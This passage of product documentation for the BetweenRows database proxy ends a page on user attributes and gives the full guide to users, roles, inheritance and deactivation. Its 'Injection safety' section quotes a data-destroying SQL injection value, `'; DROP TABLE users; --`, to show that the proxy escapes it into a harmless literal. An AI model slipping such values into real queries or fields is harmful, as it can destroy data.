If you define `tenant` with no default and a user lacks the attribute, `org = {user.tenant}` becomes `org = NULL`, which is never true. The user sees zero rows. This is safe (fail-closed) but can be surprising. Set a default value if you want a fallback behavior.
:::

### List attributes: empty list → NULL → zero rows

An empty list attribute expands to `NULL` in SQL:

```sql
department IN ({user.departments})
-- Empty list becomes:
department IN (NULL)
-- Which evaluates to false — zero rows.
```

This is consistent with SQL three-valued logic. If "no departments" should mean "see everything," use a decision function or a `CASE WHEN` wrapper instead.

### Injection safety

Attribute values are substituted as **typed SQL literals** after the expression is parsed — they never pass through the SQL parser. A tenant value of `'; DROP TABLE users; --` produces the literal `'''; DROP TABLE users; --'` (one escaped string), not an injection. This is safe by construction.

### Attribute definition updates cascade

Changing a definition's `default_value` or `value_type` takes effect immediately for all connected users. BetweenRows invalidates per-user policy caches, so the next query uses the new resolution.

### Undefined attributes error at query time

If a policy references `{user.foo}` but no attribute definition named `foo` exists, the query fails with a parse error. This catches typos and stale policies referencing deleted attribute definitions.

→ Full list: [Known Limitations](/operations/known-limitations)

## Troubleshooting

* **"Undefined attribute" error** — a policy references `{user.KEY}` but no attribute definition for `KEY` exists. Create the definition or fix the typo.
* **Zero rows when expecting data** — check if the user has the attribute set. If not, check the definition's `default_value` — a NULL default means zero rows.
* **API rejects attribute value** — check `allowed_values` on the definition. If the enum is set, only listed values are accepted.

→ Full diagnostics: [Troubleshooting](/operations/troubleshooting) · [Audit & Debugging](/guides/audit-debugging)

## See also

* [Template Expressions](/reference/template-expressions) — full reference for `{user.KEY}` syntax, SQL subset, and NULL semantics
* [Users & Roles](/guides/users-roles) — how users and roles are managed
* [Row Filters](/guides/policies/row-filters) — the most common consumer of user attributes

---

---
url: /guides/users-roles.md
description: >-
  Create users, define roles, configure inheritance hierarchies, and manage data
  source access with RBAC.
---

# Users & Roles

Users are the identities that connect through the BetweenRows proxy. Roles group users for policy assignment. Together they form the RBAC layer — who gets access to what.

## Purpose and when to use

Create users for every person or service account that will connect through the proxy. Create roles when you want to assign the same policies to a group of users without repeating per-user assignments. Roles support inheritance, so you can build hierarchies (e.g., `analyst` inherits from `viewer`).

## Field reference

### User fields

| Field | Type | Required | Default | Notes |
|---|---|---|---|---|
| `username` | string | Yes | — | 3–50 characters, alphanumeric + `._-`, must start with a letter. Used in connection strings: `psql postgresql://<username>:...@proxy:5434/ds`. |
| `password` | string | Yes | — | Stored as Argon2id hash. Must meet complexity requirements (8+ chars, upper/lower/digit/special). |
| `email` | string | No | — | Optional contact email. Admin-facing only — not used for authentication or notifications. |
| `display_name` | string | No | — | Optional human-readable label shown alongside the username in the admin UI. Does not affect authentication or policy matching. |
| `is_admin` | boolean | No | `false` | Grants access to the admin UI and REST API. **Does not grant data plane access** — admin and data access are separate planes. |
| `is_active` | boolean | Edit only | `true` | Deactivated users cannot authenticate on either plane. Existing proxy connections fail on the next query. |
| `attributes` | JSON object | No | `{}` | Custom key-value pairs for ABAC. See [User Attributes](/guides/attributes). |

### Role fields

| Field | Type | Required | Default | Notes |
|---|---|---|---|---|
| `name` | string | Yes | — | Unique identifier for the role. |
| `description` | string | No | — | Admin-facing documentation. |
| `is_active` | boolean | Edit only | `true` | Inactive roles do not apply to members — see [Deactivation cascades](#deactivation-cascades) below. |

## Step-by-step tutorial

These steps use the [demo schema](/reference/demo-schema) personas. Substitute your own users.

### Create a user

1. Go to **Users → Create** in the admin UI.
2. Enter username `alice` and a password meeting the complexity requirements.
3. Leave `is_admin` unchecked (alice is a data plane user, not an admin).
4. Save.

![New user form in the admin UI](/screenshots/users-roles-create-user-v0.15.png)

5. **Edit alice** to set her attributes — e.g., `tenant: "acme"`. See [User Attributes](/guides/attributes) for the full workflow.

### Grant data source access

On the data source page, add alice in the **User Access** section (or grant via a role — see below).

::: info Admin ≠ data access
`is_admin = true` grants access to the admin UI and API. It does **not** grant any data plane access. Every user — including admins — must be explicitly granted access to each data source.
:::

### Create a role

1. Go to **Roles → Create**.
2. Enter name `analyst` and an optional description.
3. Save.

![Create role form with name and description fields](/screenshots/users-roles-create-role-v0.15.png)

### Add members to a role

On the role detail page, add users in the **Members** section. Alice is now a member of `analyst`.

### Set up role inheritance

Roles can inherit from parent roles, forming a DAG (directed acyclic graph).

1. On the `analyst` role page, go to **Parents** and add `viewer` as a parent.
2. Now `analyst` inherits all policy assignments from `viewer`, plus its own.

![Role inheritance configuration showing parent role selection](/screenshots/users-roles-role-inheritance-v0.15.png)

### Assign policies via roles

On a data source page, assign a policy with **scope: role** and select `analyst`. All members of `analyst` (direct + inherited) receive that policy.

### Check effective members

On any role page, the **Effective Members** tab shows all users who receive the role's policies — both direct members and those who inherit through child roles. Each entry shows the source (e.g., "direct" or "via role 'viewer'").

![Effective members tab showing direct and inherited users](/screenshots/users-roles-effective-members-v0.15.png)

## Patterns and recipes

### Policy assignment scopes

| Scope | Target | Meaning |
|---|---|---|
| `user` | A specific user | Policy applies to that one user only |
| `role` | A specific role | Policy applies to all members (direct + inherited) |
| `all` | — | Policy applies to every user on the data source |

When the same policy is assigned at multiple scopes to the same user, BetweenRows deduplicates and keeps the assignment with the **lowest priority number** (highest precedence).

### Role hierarchy example

```
admin-role
├── manager
│   └── analyst (alice, bob)
└── auditor (charlie)
```

Alice (member of `analyst`) inherits policies from `analyst`, `manager`, and `admin-role`. Charlie (member of `auditor`) inherits from `auditor` and `admin-role` but **not** from `manager` or `analyst`.

### Per-datasource role access

Roles can be granted data source access just like users. Grant `analyst` access to `production_db`, and all members of `analyst` can connect to that data source.

## Composition with other features

* **User attributes** (`{user.tenant}`, `{user.department}`) are set on users, not roles. Template variables always resolve from the user. See [User Attributes](/guides/attributes).
* **Data source access** can be granted per-user, per-role, or scope-all. Role-based access includes inherited members.
* **Policy assignments** use the same three scopes. Role-scoped assignments apply to all effective members.

## Limitations and catches

### Inheritance rules

* **Cycle detection**: adding a parent that would create a cycle is rejected with HTTP 409. BetweenRows checks reachability in both directions before allowing the edge.
* **Depth cap**: inheritance chains are capped at **10 levels**. This prevents pathological resolution in large role hierarchies.
* **BFS resolution**: role membership is resolved breadth-first, collecting all ancestor role IDs for a user. This is the set of roles whose policy assignments apply to the user.

### Deactivation cascades

* **Deactivating a user** (`is_active = false`): the user cannot authenticate. Existing sessions fail on the next query.
* **Deactivating a role**: the role stops applying to all members. **Critically, deactivating a middle role breaks the inheritance chain for all descendants.** In a chain `admin-role → manager → analyst`, deactivating `manager` means `analyst` members lose access to `admin-role`'s policies — because the resolution stops at inactive roles and does not traverse their parents.
* **Deactivation takes effect immediately** for all connected users — no reconnect needed.

### Deny always wins across roles

If a user is in two roles and one role's policy denies access while the other allows it, **deny wins**. Multiple role memberships can never expand access beyond what each role individually grants. This is a core security invariant.

### Template variables resolve from the user, not the role

`{user.tenant}` always returns the user's attribute value, never a role's hypothetical attribute. Roles don't carry attributes — they're purely for grouping policy assignments.

→ Full list: [Known Limitations](/operations/known-limitations)

## Troubleshooting

* **User can't connect** — check: `is_active`, data source access granted, correct password, correct data source name in connection string.
* **Role policy not applying** — check: role `is_active`, user is a member (direct or inherited), the inheritance chain has no deactivated middle roles.
* **Effective members shows unexpected users** — check inheritance; a user may reach the role through a path you didn't expect. Use the **Effective Members** tab to trace the source.

→ Full diagnostics: [Troubleshooting](/operations/troubleshooting) · [Audit & Debugging](/guides/audit-debugging)

## See also

* [User Attributes (ABAC)](/guides/attributes) — define and assign custom attributes for policy expressions
* [Policies overview](/guides/policies/) — how to assign policies to users and roles
* [Audit & Debugging → Admin audit log](/guides/audit-debugging#admin-audit-log) — admin audit tracks user/role mutations